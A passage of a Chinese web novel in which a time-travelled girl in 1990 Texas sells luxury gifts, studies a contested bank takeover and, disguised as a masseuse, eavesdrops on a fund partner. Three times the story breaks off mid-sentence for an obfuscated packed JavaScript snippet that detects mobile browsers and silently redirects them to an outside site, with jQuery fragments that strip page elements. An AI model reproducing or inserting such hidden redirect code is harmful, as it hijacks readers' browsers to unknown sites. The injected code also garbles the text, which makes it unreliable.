菲伊抬手,碰了碰领口的雏菊,花瓣已经有点蔫了。 她轻轻呼出一口气。 第一步,成了。 11. 第11章 得州盛夏的暑气,即便入夜也未消散,一踏出四季酒店的旋转门,温热的风便扑面而来,不消片刻,就能热得人一头细汗。 菲伊站在门廊下,看着排队等客的出租车,下意识伸手摸向腰侧,随即顿住,她忘了这条裙子没兜。 就算有,兜里也没钱。 菲伊苦笑。 来的时候是伊森派车接的,走的时候阿利斯泰尔只留了句 “有事联系伊森”,可她总不能因为没钱打车这点小事找伊森吧? 那样一来,她刚在人家面前立起的人设就塌了。 她抬头望了望街边的路牌,圣玛丽医院就在前方三个路口外,直线距离不到三公里。 不算远,走回去吧,当是健身了。 随即她不再犹豫,抬脚朝马路对面走去。 幸好现在是1990年的美国,市中心晚上还能看到牵着狗散步的老人,路灯亮堂得很,治安没有后来那么糟。 换做三十年后,别说走夜路,单独站在路边都得提心吊胆。 她走得不快,脚踝还有点隐隐的酸,显然是之前的扭伤还没有好利索。路上车不多,偶尔有皮卡呼啸而过,留下一串尾气。 走了差不多四十分钟,终于看到了圣玛丽医院白色的主楼。菲伊松了口气,揉了揉发酸的小腿,走进住院部。 走廊里静悄悄的,只有值班护士台亮着灯。菲伊轻手轻脚打开病房门,感受到空调吹出的一片清凉,她忍不住弯起了嘴角。 90年代的空调房,能蹭一晚是一晚!反正伊森已经提前交了三天的住院费。 简单洗漱后,便一头栽进了柔软的被褥里。 这还是她穿越过来后,第一次能踏实地睡个觉。 菲伊满足地发出一声轻咛,翻了个身,沉沉睡去。 第二天一早,菲伊是被敲门声吵醒的。 她揉着眼睛打开门,凯瑟琳拎着一大袋纸袋站在门口,高马尾随着动作甩了甩,脸上的笑容比窗外的阳光还亮::“菲伊!我给你带了早餐!” “早。” 菲伊侧身让她进来,打了个哈欠。 凯瑟琳把早餐放在桌上,自顾自地倒了杯水:“我问过医生了,你今天就能出院。对了,你接下来有什么打算?” 菲伊撕开三明治的包装,咬了一口:“还没想好。先找个地方住下再说。” “那就是还没确定去哪里?”凯瑟琳立刻凑过来,攥住她的手晃了晃,眼睛亮得像星星: “菲伊,你要不要和我去洛杉矶?我家在比弗利有套房子,空着也是空着,你要不介意,可以去那里住,那附近还所不错的高中,你要想继续上学,我让我哥打个招呼就行!” “不是报恩!” 她怕菲伊误会,连忙补充道,“真的!就是朋友间帮帮忙。” 菲伊看着她真诚的眼睛,心里一暖,但还是摇摇头,道:“谢谢你,凯瑟琳,真的!但我不能一直麻烦你。我自己的事,我能解决。” “可是……” “先让我试试。” 菲伊笑了笑,“真遇到搞不定的事,我肯定第一个找你。” 凯瑟琳见她态度坚决,只好作罢。 菲伊转头看向沙发上堆着的那些礼盒,面露为难:“这些衣物……你哥哥的好意我心领了,但它们太贵重了,我现在的情况也穿不上,能让弗里曼先生拿回去吗?” “拿回去干嘛!”凯瑟琳摆摆手:“送出的东西,哪有收回来的道理。你要是不想穿……不如卖了!” “卖了?”菲伊一愣,“这……合适吗?” 凯瑟琳无所谓地耸耸肩:“没什么合不合适的,既然送给你了,你想怎么处理都行。” 菲伊目光扫过那些印着大牌Logo的礼盒,最后落在自己的身上。 现在自己最缺的就是钱。 没钱,别说还债,连明天的饭钱都没有。 那就卖了。 1990年的美国,没有ebay,也没有亚马逊。想要处理闲置物品,只能去跳蚤市场。 菲伊心里打定主意,雷厉风行地找护士借了个行李箱,把没拆封的衣服鞋子都塞了进去。 “我明天就要飞洛杉矶了。” 凯瑟琳站在医院门口,抱着菲伊,依依不舍地说,“一定要照顾好自己!我的电话你记住了吧?有事随时打给我。” “放心吧。” 菲伊拍了拍她的背,“一路顺风。” 看着凯瑟琳的车消失在街角,菲伊拉着行李箱,转身走向城东的跳蚤市场。 周末的跳蚤市场人声鼎沸,吆喝声、讨价还价声此起彼伏。 菲伊找了个空摊位,把行李箱打开,将那些大牌衣服鞋子一件件摆出来。都是当季新款,吊牌都没拆,走线和料子一眼就能看出是正品,很快就围了一圈人。 “这件香奈儿的外套多少钱?” 一个打扮时尚的年轻女人蹲下来,指尖捻着外套的缝线,翻了翻领口的吊牌。 “三千美元。专柜价三千五,不信你看吊牌,全新的。” 菲伊说。 女人犹豫了一下,砍价道:“两千五,卖不卖?” “两千八,不能再少了。” 菲伊还价。 女人盯着外套看了半分钟,心中摇摆不定。 今天她本来只打算随便逛逛,谁知道居然遇到心水了许久的经典款,她眼光很毒的,100%确定这是正品,而且十成新,两千八相当于她一个月的工资,可错过这村就没这店了。 女人最终咬牙点头,“行,两千八就两千八。” 第一笔生意落定。菲伊的心里踏实了不少。她很会看人,知道哪些人是真心想买,哪些人只是随便问问,报价也恰到好处,刚好卡在对方的心理预期上。 一个上午下来,所有东西都卖光了。菲伊数着手里的现金,一共2.2万美元。 她把钱仔细地放好,心里忍不住想:要是再来这么两次,5万美元的债很快就能还清了。 不过也就是想想而已。 说到底,这是她拿命换来的。一想到自己差点死在那树林里,手里的钞票瞬间就不香了。 正胡思乱想着,系统突然出声道: 【恭喜宿主赚取异世界的第一桶金,共计22000美元。距离目标剩余999978000美元,是否入账?】 菲伊:…… 再不香也是她的钱,都还没焐热呢,就想搜刮走。 【系统,能商量个事吗?】 【请讲。】 【目前我能赚到的钱,距离目标数字差太远,每次都要入账什么的,太过麻烦。要不这样,等我赚够目标数,再一次性结清行吗?反正我也跑不了。】 系统沉默了一会儿。 【可以。但钱财保管的风险需由宿主自行承担。】 【没问题。】 菲伊答应得干脆,手指却按了按装钱的纸袋,刚才收钱的时候,周围好几双眼睛都盯着她呢。这里鱼龙混杂,不能久留。 她拉上空行李箱,转身钻进旁边的大卖场。 先花了80美元买了三套宽松款的T恤和牛仔裤,找个试衣间把身上的裙子换下。 又买了个小巧的腰包,把一部分钱塞进去,系在腰上用衣服盖住。 剩余的分成两份,一份塞进鞋垫底下,另一份揣进裤兜。 接着又拿了顶黑色棒球帽,扣在头上,把头发扎起来塞进帽子里,故意压低帽檐,挡住半张脸。 最后挑了款不起眼的双肩包,把剩下的衣物和日用品装进去。 一切收拾妥当,她绕到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17753422|209455||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 大卖场后门,拦了辆出租车,直接回了医院。 将空行李箱还给护士时,菲伊顺便给值班的三个护士每人送了份咖啡和小蛋糕。护士们接过东西,脸上的笑容明显真切了许多。 “菲伊,你要是找性价比高的旅馆,第七大道那边有几家,三四十美元一晚,干净还安全。” “对,那边离公交站近,去其他城市的大巴也在那发车。” “吃饭就去街角的那家汉堡店,分量大还便宜,老板人特别好。” 菲伊一一记在心里,谢过她们,背着背包走出了医院。 按照护士们的推荐,她找到一家性价比不错的旅馆。 35美元一晚,房间很小,只有10平米左右,墙壁薄得能听到隔壁的电视声。但胜在干净卫生,还有一个迷你的独立卫生间。 菲伊把背包往床上一扔,反手锁上门。 她走到窗边,拉开窗帘看了一眼,附近的街道整洁,楼下偶尔有巡逻的警车开过。看上去治安还行,于是她便放心地住下来。 …… 下午两点,奥斯汀公共图书馆。 简单地登记名字和酒店住址,菲伊顺利进入了借阅室。 想要完成系统的任务,她必须摸清这个世界。 系统说这是过去的时空,但她仍旧不放心,她需要确认这个世界的历史走向,是否真的和她原来的世界一致。 这关系到她能不能利用未来的信息差,赚到第一桶金。 菲伊从近代史开始看起。一战、二战、经济大萧条、冷战……所有的大事件都和记忆中的一模一样。 她又翻了近几年的《华尔街日报》、《纽约时报》,宏观政策、金融市场的走势、各大公司的动态、科技的发展进程,也都和原来的世界分毫不差。 不知不觉中,窗外的天色渐渐暗下来。菲伊按了按有些饿的肚子,拿起最新一期的《纽约时报》。头版的新闻迅速吸引了她的注意: 伊拉克在科威特边境集结重兵,海湾局势骤然紧张。 菲伊的心脏猛地一跳。 作为一个金融生,她记得很清楚,1990年8月2日,伊拉克入侵科威特。消息一出,国际原油价格会在短短两周内暴涨50%。到了9月底,更是直接冲到了41美元/桶。 而现在的价格—— 菲伊立刻往前翻,查找最新的原油报价。 找到了! 7月13日,也就是昨天,布伦特原油的报价是17.7美元/桶。 如果历史不变的话,两个月后,涨幅将达到127%。 这是千载难逢的机会! 她现在有两万美金可支配(剩下的钱留着日常花费),差不多可以买1000桶,如果将它们都投到原油期货……不,期货投资无法利益最大化,她要加杠杆做多! 这样一来,扣除手续费等费用,她能拿到的钱是…… 菲伊大脑飞速运转,很快,她得到一个数字—— 24.5万美金。 翻了十倍有余! 如果她的本金再多点……菲伊的呼吸不自觉加快。 可兴奋劲没过,一盆冷水就浇了下来。 因为她突然想起一件事——这具身体未满18岁,养父母双亡,没有法定监护人。 在美国,这简直是个要命的问题,未成年别说去开期货账户了,连独立银行账户都很难开,这也是她为什么不得不把所有现金藏在身上,不存银行的原因。 机会摆在眼前,却被年龄卡死。 菲伊烦躁地地把报纸一合,随手抄起本地的《休斯顿纪事报》,胡乱翻着。 难道就这么眼睁睁地看着机会溜走? 翻着翻着,她的指尖忽然顿住了。 12. 第12章 一条财经版加粗标题闯入她的视野里: 《平原资本临时反悔,南方信托银行收购休斯顿联合储蓄遇阻》。 配图里,浅金色短发的青年被记者围堵,他微微偏着头,避开镜头,脸上没什么表情。 是凯瑟琳的哥哥,阿利斯泰尔·布鲁姆。 菲伊的眼睛顿时亮了。 阿利斯泰尔是南方信托银行的总裁。 银行本身就有证券经纪业务,只要他点头,她所有的障碍都不再是问题。 但还是那句话,她不能就这么直接求上门。 她需要先展现价值。 菲伊压下心跳,低头重读新闻,一行一行抠信息: 南方信托银行意图收购休斯顿联合储蓄银行,以借此拓展得州市场。此前竞购方包括第一得州银行等本地老牌机构,南方信托已经胜出。 7月初,双方签订了收购意向书,约定7月10日正式签约。 可就在3天前,也就是7月11日,休斯顿联合储蓄的大股东平原资本突然变卦。理由是原估值过低,要求重新定价,签约暂缓。 看来,布鲁姆先生遇到麻烦了。 菲伊指尖轻轻敲着报纸边缘,陷入沉思。 过了一会儿,她拎起背包,转身走向微缩胶片阅览室。 前台管理员递过胶片阅读器和索引卡,菲伊道了谢,找了个靠窗的角落坐下。 她调出近几年所有与南方信托银行有关的报道,信息虽然很零散,却也让她慢慢拼成了完整的信息: 布鲁姆家族是佐治亚州的老牌望族,18世纪从北爱尔兰移民美国,靠木材和贸易发家,如今产业涵盖银行、地产、保险、传媒等领域。 南方信托是家族核心资产,掌舵权一直握在老布鲁姆手里。 现年23岁的阿利斯泰尔·布鲁姆是长子,也是板上钉钉的继承人。 他16岁进入麻省理工就读,19岁便拿到了经济学学位,21岁斯坦福管理科学与工程硕士毕业,是真正意义上的天之骄子。 但正式进入家族企业后的路,就没有那么顺了。 去年夏天,阿利斯泰尔空降南方信托任执行总裁。董事会里一半是跟着老布鲁姆打天下的老臣,另一半是家族旁支的代言人,阿利斯泰尔虽然履历亮眼,在这里,却还是个没有任何实际成绩的新兵蛋子。 这次的休斯顿联合储蓄收购案,是他的立威之战。 赢了,就能坐稳总裁的位置,把自己的战略推下去。 输了,就会被老臣和旁支联手架空,变成有名无实的傀儡。 菲伊转动胶片阅读器的旋钮,屏幕上跳出南方信托的年报。 过去5年,这家银行的业务全集中在佐治亚、阿拉巴马、田纳西三州,靠商业地产贷款和私人财富管理稳扎稳打。 可阿利斯泰尔却在去年年报里毫不客气地指出:区域性银行的黄金时代只剩十年,要么扩张成全国性银行,要么等着被吞并。 他把第一个扩张目标定在了得克萨斯。 这是石油美元的腹地。 能源信贷、能源债券承销,是一块非常诱人却很难啃的蛋糕。得州本地银行和休斯顿的投行把持了所有渠道,南方信托在亚特兰大再风光,到了休斯顿也没人买账。 收购休斯顿联合储蓄,是他能找到的最快的切入点。 这家储贷银行有得州的银行牌照,在休斯顿和加尔维斯顿有十几家分行,手里握着能源走廊上百家中小企业的客户资源。 1980年代石油泡沫破裂后被FDIC(联邦存款保险公司)接管过,1988年重组上市,股价一直低迷,大股东平原资本早就放出过有意出售的风声。 菲伊又调出SEC(美国证券交易委员会)的备案文件。 谈判从1990年2月开始,谈了五个月。 7月3日,休斯顿联合储蓄发布公告,称已与南方信托达成独家收购意向,报价11.2 亿美元。 原定7月10 日正式签约。 一切都很顺利。 直到7月11日,平原资本突然发表公开声明,说原报价 “严重低估了休斯顿联合储蓄的网点价值和客户资源”,要求重新谈判。 同一天,原本已经退出竞购的第一得州银行,重新递交了意向书。 太巧了。 巧得像安排好的。 菲伊皱起眉头,调出平原资本的资料。 这是一家总部在芝加哥的私募基金,风格以快进快出著称,从来不会在一笔交易上纠缠太久。这次突然加价拖延,不符合他们一贯的作风。 更反常的是第一得州银行。 作为得州本地的老牌银行,近三年它的不良贷款率飙升,现金流紧张,之前就是因为拿不出 11亿现金才退出竞购。 现在却突然杀回来,钱从哪儿冒出来的? 菲伊又翻了FDIC的公开记录,还有休斯顿联合储蓄近三个月的股价走势。 其股价在7月3日意向书发布后涨了7%,7月11日平原资本变卦当天,立刻跌了4%,之后一直横盘震荡。 这不符合平原资本的利益。 所谓的“估值偏低”的理由,根本站不住脚。 以休斯顿联合储蓄近些年的表现来看,11.2亿的价格,已经算是溢价收购了。 而且平原资本还要求必须全现金收购,一次性能动用十几亿现金流的买家真不多,要知道,现在可是1990年的美国,美金的购买力还没贬值到后世那个地步。 菲伊靠在椅背上,指尖有节奏地敲击着桌面,这是她思考时习惯性的小动作。 平原资本这次派出的谈判代表,是他们的合伙人,斯坦利·班德。 新闻里说,他近期都在休斯顿。 菲伊关掉胶片阅读器,站起身。 公开资料只能查到这里。 剩下的,得自己去挖。 …… 走出图书馆时,天已经完全黑下来了。 菲伊抬头望向东南边的远方,休斯顿就在300公里外方。那里是蝎子帮的老巢,格雷那个人渣也在那里。 她现在回去,就是自投罗网。 菲伊攥了攥腰上的腰包,硬邦邦的纸钞硌着掌心。 两万多美元。 说起来,要不是阿利斯泰尔大方,她此刻恐怕已经去某个餐馆里端盘子了。 很快,菲伊做出决定:返回休斯顿。 富贵险中求! 错过这次收购案和原油的机会,她再想赚取 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17753423|209455||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 第一桶金,不知道要等到猴年马月。 她站在马路边张望了一圈,目光很快锁定一家廉价美妆店。 花3美元买了深棕色眉笔和古铜色粉底,又花25美元买了顶棕色波波头的假发和一副黑框平光镜。 回到酒店,她对着镜子,把眉毛画粗画平,涂了两层粉底,把冷白的皮肤遮成晒过的小麦色,然后戴上假发,扣上黑框平光镜。 镜子里的女孩变了个样。 土气,普通,扔在人堆里都不会有人多看一眼。别说格雷,连她自己都差点认不出来。 次日一早,菲伊乔装打扮好,退了酒店房间。 她没有直接前往灰狗巴士站,而是先去了奥斯汀最大的一家宠物店。 她从门口的金毛开始摸,摸柯基的背,摸布偶的爪子,摸仓鼠的软毛,摸垂耳兔的长耳朵,连笼子里的蜥蜴和玉米蛇都没放过。 扎马尾的店员从一开始的微笑迎客,慢慢变成了抱着胳膊警惕地盯着她。 最后菲伊摸完最后一只荷兰猪,看着店员那犹如看变态的眼神,尴尬地笑了笑,有些不舍地掏出五美元递给对方。 就当是摸宠费了。 菲伊心道。 店员接过钱,脸色好了一点。等菲伊出门,依旧翻了个大大的白眼,暗自嘀咕:“什么人啊,神经病。” 菲伊:…… 她还没走远呢!哼,真是白瞎了她的五美元。 巴士座椅沾着干掉的可乐渍,空气里混着汉堡、汗味和烟草的味道。旁边坐了个戴牛仔帽的老头,一路嚼烟草,时不时往窗外吐一口。 菲伊靠窗坐,把棒球帽压得很低,全程没说一句话。 四个小时的车程里,她的手指一直搭在腰包上,每到一个站点有人上下车,她都会下意识绷紧后背。 下午两点,巴士抵达休斯顿市中心。 菲伊先在劳保店买了蓝色清洁工制服、橡胶手套,随后打车去了丽思卡尔顿酒店,在员工通道门口蹲了一个半小时,摸清了清洁工的排班和楼层分配。 3点40分,她换上清洁工制服,混在换班的人群里,顺利走进了酒店。 总统套房位于12楼,斯坦利·班德就住在那里。 菲伊推着一辆清洁车在走廊里缓缓走着,脚步放得很轻,注意留意着每一间客房的动静。 走到1208号房门口时,她听到了里面传来一道声音:“班德先生,四点的按摩师已经到楼下了,我让她直接上来?” 班德? 菲伊脚步一顿,看来就是这间了。 “让她上来。” 一个粗哑的声音回道,带着几分不耐烦。 “是。” 一阵脚步声朝门口靠近,菲伊立刻躲进楼梯间。 十分钟后,一个穿白色按摩服的女人提着按摩箱,拐进了通往总统套房的走廊。 菲伊从楼梯间冲出来,快步绕到她身后,给了她一个手刀。 女人的身体瞬间软了下去。 菲伊将她拖进楼梯间,双手双脚反绑好,堵住嘴,塞进清洁车底部的储物格。 然后换上她的按摩服,拿起按摩箱,步履从容地走到总统套房前。 再次确认自己身上没有明显破绽后,菲伊深吸一口气,按响了门铃。 13. 第13章 “进来。” 菲伊推开门,低着头走了进去。 套房里烟雾缭绕,斯坦利赤着上身趴在床上,肚子上的肥肉堆了三层。床头柜上摆着半瓶威士忌,烟灰缸里的雪茄烟头堆得像小山。 “快点开始,我七点还有事。” 他头也不抬地哼了一声。 菲伊没说话,倒了点精油在手上搓热,按在他的肩膀上。她的手法生涩,但斯坦利显然不在意,闭着眼睛哼哼唧唧。 刚按了五分钟,床头柜上的手提电话响了。 斯坦利不耐烦地抓起电话,刚“喂”了一声,里面就传来女人尖利的喊叫声:“斯坦利·班德!你到底什么时候回芝加哥!你说昨天就该到家的!别以为我不知道你在跟那个小妖精鬼混!” “哦看在上帝的份上,别像个泼妇一样大喊大叫!” 斯坦利吼了一句,语气却有点虚,“我在谈一笔大生意!过两天会回去一趟,挂了!” 说完也不等对方回应,猛地挂了电话,骂骂咧咧地把手提电话扔在一边。 没过十分钟,电话又响了。 这次斯坦利的声音立刻软下来,“哦我的小宝贝,怎么了?” “亲爱的~我在第五大道的卡地亚店里,那条钻石项链太漂亮了,你买给我好不好嘛~” “买买买,当然买!” 斯坦利笑得满脸横肉都在抖,“我让助理现在就给你打一万美元过去。等我搞定休斯顿的事,就带你去巴哈马度假,好不好?” 挂了电话,他得意地哼起了小曲。 菲伊低着头,手上的动作没停。 又过了十五分钟,电话第三次响了。 斯坦利看着皱了皱眉,瞥了眼来电显示,立刻坐起身来,对着菲伊挥了挥手:“你先出去!在外面等着!没叫你不准进来!” 菲伊擦了擦手,转身走出套房,顺手带上了门。 门外不知何时来了两个保镖,见菲伊出来,视线立刻移到她的身上。 有这两尊门神盯着,菲伊没法靠房门太近,只能找了个不远不近的位置站着。 房间里的说话声听不到了。 菲伊微微蹙眉,看来只能靠非常手段了。 她垂下头,在心里迅速道:【系统,我要租借垂耳兔超强听力,10分钟。】 【垂耳兔超强听力,F级,15美元/分钟,开启兑换……滴!兑换失败,请宿主重新选择租借对象。】 哈?兑换失败? 菲伊眼皮募地一跳,以为自己听错了。 【什么叫兑换失败?说清楚点!】 【“租借能力”的兑换规则之一:要求租借目标对宿主的好感度达到30%以上,你所选择的那只垂耳兔,对宿主的好感度为6。】 【什么玩意儿?这是什么时候冒出来的规则,你之前怎么没提过?还有,那只傻兔子凭什么对我的好感度这么低?】 【这是潜藏规则,本系统不会提前告知,需宿主自行探索。至于目标好感度低,90%的概率是因为宿主抚摸目标时,对方正在进食,你打扰它享用午餐了。】 菲伊:…… 她当时满脑子都是多摸几个“潜力股”,哪顾得上看兔子吃没吃饭。 余光飞快扫过紧闭的套房门,里面的谈话也不知道结束没。 时间不等人! 【你就说我接触过的兔子里,哪只好感度达标了?】 【荷兰侏儒兔,对宿主的好感度是40%。】 【就它,立即兑换!】 【荷兰侏儒兔超强听力租借中……租借成功,已扣除租金150美元。倒计时:10:00。】 电子音刚落,一股热流顺着菲伊后颈窜进耳蜗,耳膜轻轻震颤了一下。 仿佛新世界的大门被打开一般,下一秒,原本安静的走廊,突然变得嘈杂起来。 微风拂过地毯的沙沙声、蚂蚁爬过的窸窣声、两个保镖的呼吸与心跳,甚至连远处消防水管里水流过管壁的嗡嗡声,全都清晰地涌入耳朵。 她立刻屏气凝神,竭力忽视掉其他杂音,将注意力全部集中在套房内。 隔着厚厚的实木门,斯坦利与电话那头的对话仍在继续。 不仅仅是斯坦利的说话声,甚至连听筒里的声音,都像在耳边响起一样清楚。 菲伊松了口气。 此刻斯坦利并未说话,电话那头传来一道男声,带着浓重的得州口音: “……剩下的资金马上就会到位,第一得州银行后天就会提交正式报价,比南方信托高八千万。” “八千万?”斯坦利嗤笑一声,手指敲着床头柜,“这不够。我打听过了,阿利斯泰尔可调用的资金在12亿上下 ,你们再加5%,这样才够保险。否则我无法说服董事会那些老东西。” “再加5%,那就是12.6亿!”电话那头的男人显然被刺激得不小,嗓门瞬间提高了八度,“斯坦利,你别太贪得无厌!我上哪再凑六千万去?!” 电话猛地被挂断。 斯坦利也不生气,反而得意地哼了一声:“呵,看着吧,维克多……最后你还是得来求我。” 说着,他朝门外喊了声:“进来!” 菲伊不动声色地走进去,继续她的按摩。 40分钟后,菲伊拿着一张五十美元的钞票走出总统套房。 心里翻了好几个白眼。 死肥佬,身家过亿还这么抠!老娘辛辛苦苦按了一个小时,居然只给了50美元的小费! 拐进楼梯间,一切如常,按摩师没醒,也没有人发现清洁车下的端倪。 于是推着车,走员工通道下到酒店后门的巷子里。 确认周围没人,菲伊掀开布帘,将身上的衣服还给对方,把50美元塞进对方的口袋里。随后解开她手脚上的绳子,扯掉嘴里的布,轻轻拍了拍她的脸。 按摩师捂着后颈慢慢睁开眼,茫然地看着四周:“我……我怎么在这?” 菲伊没回她,自顾自地转身走了。 她走到街角的公用电话亭,投了一枚硬币,拨通了伊森·弗里曼的电话。 电话响了三声,被接了起来。 “您好,伊森点·弗里曼。” “弗里曼先生,我是菲伊·温斯洛。” 菲伊握着听筒,严肃道,“我需要尽快和他见一面。” “温斯洛小姐,老板他最近在休斯顿处理事务,暂时抽不开身。如果您不急,可以等他回奥斯汀再联系。” “我知道他在忙什么。”菲伊顿了顿,缓缓吐出一句话,“休斯顿联合储蓄银行的收购案,对吧?” 电话那头沉默了两秒。 “温斯洛小姐,您想说什么?”伊森的语气已经带上一丝警惕。 菲伊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17753424|209455||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 轻轻吐出一个名字:“维克多。” “……什么?” “这个名字,相信以布鲁姆家族的能力,想必已经查到了。”菲伊压低声音,语气笃定,“他与斯坦利·班德、第一得州银行之间,私底下似乎存在某些交易,我猜的对不对?” 电话那头彻底安静下来。 几秒后,听筒里传来一道低沉冷冽的男声:“我是阿利斯泰尔·布鲁姆。” 菲伊唇角悄悄勾起一抹浅弧:“我现在就在休斯顿,丽思卡尔顿酒店附近。” “你住在哪儿?” “暂时还没住处。” “我明白了。”他没有多余废话,“20分钟后,伊森会去接你。” “好。” 菲伊挂掉电话,走出电话亭。 午后的阳光斜斜洒在休斯顿街头,白亮得有些晃眼。云层被染成浅金,远处几栋大楼的玻璃幕墙反射着强光,休斯顿联合储蓄的蓝色标识在一片楼宇间格外醒目。 她攥了攥手里的硬币,唇角压不住地往上扬。 …… 下午5点20分,伊森的黑色宾利停在一条僻静的林荫道上。 路边没有招牌,只有一扇深棕色的大门,门口站着两个穿黑色西装的保安。伊森摇下车窗递过一张哑光黑卡,保安核对后,大门缓缓向内打开。 车子驶入庭院,穿过修剪整齐的玫瑰园,停在一栋三层的法式别墅前。 这是休斯顿最隐秘的私人会所之一,只接待会员,没有账单,所有消费直接从会员账户扣除。 “温斯洛小姐,这边请。” 伊森拉开后车门,领着菲伊走进别墅。 走廊铺着深栗色羊毛地毯,踩上去轻软无声。两侧胡桃木镶板温润光洁,墙面悬着几幅印象派油画。 偶尔有穿黑燕尾服的侍者躬身经过,快到到两人跟前时,便会驻足垂眸,从不抬眼多看。 伊森推开走廊尽头的包厢门:“老板在里面等您。” 菲伊点了点头,走了进去。 包厢很大,落地窗外是带喷泉的后院,水声潺潺,隔绝了外界所有喧嚣。 阿利斯泰尔坐在靠窗的皮沙发上,手里拿着一杯威士忌。 他这次没穿西装,只穿了一件白色亚麻衬衫,袖子挽到小臂,露出线条流畅的手腕和一块百达翡丽钢表。浅金色的头发在灯光下泛着柔和的光泽,灰蓝色的眼睛落在她身上,明显顿了一下。 他显然没认出她。 直到菲伊摘下黑框眼镜,露出那双乌黑的杏眼,阿利斯泰尔的眉峰才微微挑了一下。 两次见面,两次截然不同的打扮。 可那双眼睛,没有变。 这个女孩,总是让人出乎意料。 “坐。” 他抬了抬下巴,指向对面的单人沙发。 菲伊坐下,把背包放在脚边。侍者悄无声息地走进来,给她倒了一杯果汁,又退了出去,顺手带上了门。 包厢里只剩下他们两个人。 阿利斯泰尔轻轻转着玻璃杯里的冰块,率先开口道: “温斯洛小姐,我很好奇,你前天还在奥斯汀,想法躲避蝎子帮的追债。今天却主动出现在休斯顿,还说你知道斯坦利的私下交易?” 说到这里,他身体微微前倾,锐利的目光紧紧锁定菲伊。 “是谁……告诉你这些的?” 14. 第14章 “没有别人,是我自己查出来的。” 菲伊从容不迫地回道。 “我在图书馆看到收购案的新闻,发现了疑点。” 她没有绕弯子,“平原资本的风格是快进快出,不会在一笔已经谈妥的交易上拖延。第一得州银行两个月前因为现金流不足退出竞购,现在却突然杀回来,这很反常。” “所以我来了休斯顿。” 菲伊抬眼看向他,眼神非常坦荡,“我查到斯坦利住在丽思卡尔顿,就乔装成清洁工混进去。 刚好碰到他约了四点的按摩,于是打晕按摩师,替她进去。后来他接到维克多的电话,把我赶出来,我在门外听到他们的谈话。” 她隐去系统和能力租借的事,只说了能说的部分。 阿利斯泰尔转动酒杯的手指顿了一下。 他能看得出,她没有撒谎,心底不由得生出几分讶异。 一个16岁的少女,居然敢单枪匹马潜入五星级酒店,顶替按摩师,偷听一个私募基金合伙人的机密电话。 他该夸一句有勇有谋么。 不过……也不算太意外。 毕竟若是没有胆识,又怎么能从杀人魔手里救下凯瑟琳? 阿利斯泰尔敛下眼底的波澜,语气平淡地开口:“你听到了什么?” “维克多似乎给了斯坦利一笔钱,让他拖延签约。第一得州银行后天会报12亿,比你们高8千万。” 菲伊顿了顿,补充道,“但这不是斯坦利的底线。他要求维克多再加5%,也就是12.6亿,否则就不帮他拖时间了。” “哐当” 一声,阿利斯泰尔将手中的酒杯放在茶几上,灰蓝色的眼睛里第一次露出了明显的惊讶。 他的团队查了三天,只查到斯坦利在提出暂缓签约前,分别见过第一得州银行的行长和海湾能源的维克多?哈帕。 第一得州银行自不必说,本来就对休斯顿储蓄虎视眈眈,上次竞价失败,一直心有不甘。私底下搞些小动作,在正常不过。 但维克多·哈帕是个意外。 此人在休斯顿能源圈混了三十年,是业内有名的“能源秃鹫”。 1986年油价暴跌时他的油企破产,这人也不气馁,转头就带着几个老部下去捡别人不要的烂摊子,低价盘下濒死的小微油井,等油价回升再转手。 这几年靠这倒手买卖,倒也赚了不少。 只不过,人的欲望是无穷的。 当你赚到一千万时,你就会开始谋求一个亿。 维克多自然也不例外。 他想要更多,却因没有银行牌照而被绊住了手脚。 他每做一笔能源信贷,都必须通过银行或保理公司放款,每笔交易都要被中间商抽走十个点的利润。 这跟在他身上割肉有什么区别? 三年来,他做梦都想拿到一张自己的牌照! 所以他盯上休斯顿储蓄,一点都不奇怪。 他要的从来都不是网点和零售业务,而是那张牌照。 但海湾能源规模太小,资金不够,又没有银行背景。想独自吞下休斯顿储蓄难如登天,单靠维克多自己,连上桌的资格都没有。 于是,他找上了竞购失败的得州银行。 他们的合作模式不难猜:第一得州银行缺资金,维克多缺牌照。维克多补足资金缺口,收购完成后,第一得州银行将零售业务和网点收入囊中,海湾能源则拿走能源信贷部门和全部商业贷款组合。 各取所需。 虽然还没找到证据,但他也猜到斯坦利收了好处,故意拖延。 这些,是阿利斯泰尔已经掌握的信息。 但他不知道,第一得州银行的新报价会是12亿。 不多不少,刚好卡在南方信托的最高预算红线上。 这个数字,只有他和董事会的人知晓。 这就意味着,董事会里……有内鬼! 阿利斯泰尔抬眼看向菲伊,目光锐利:“你确定斯坦利要求加价到12.6亿?” “千真万确。”菲伊坦然地回视。 阿利斯泰尔靠在沙发上,微微垂眸。 忽然,他低笑了一声。 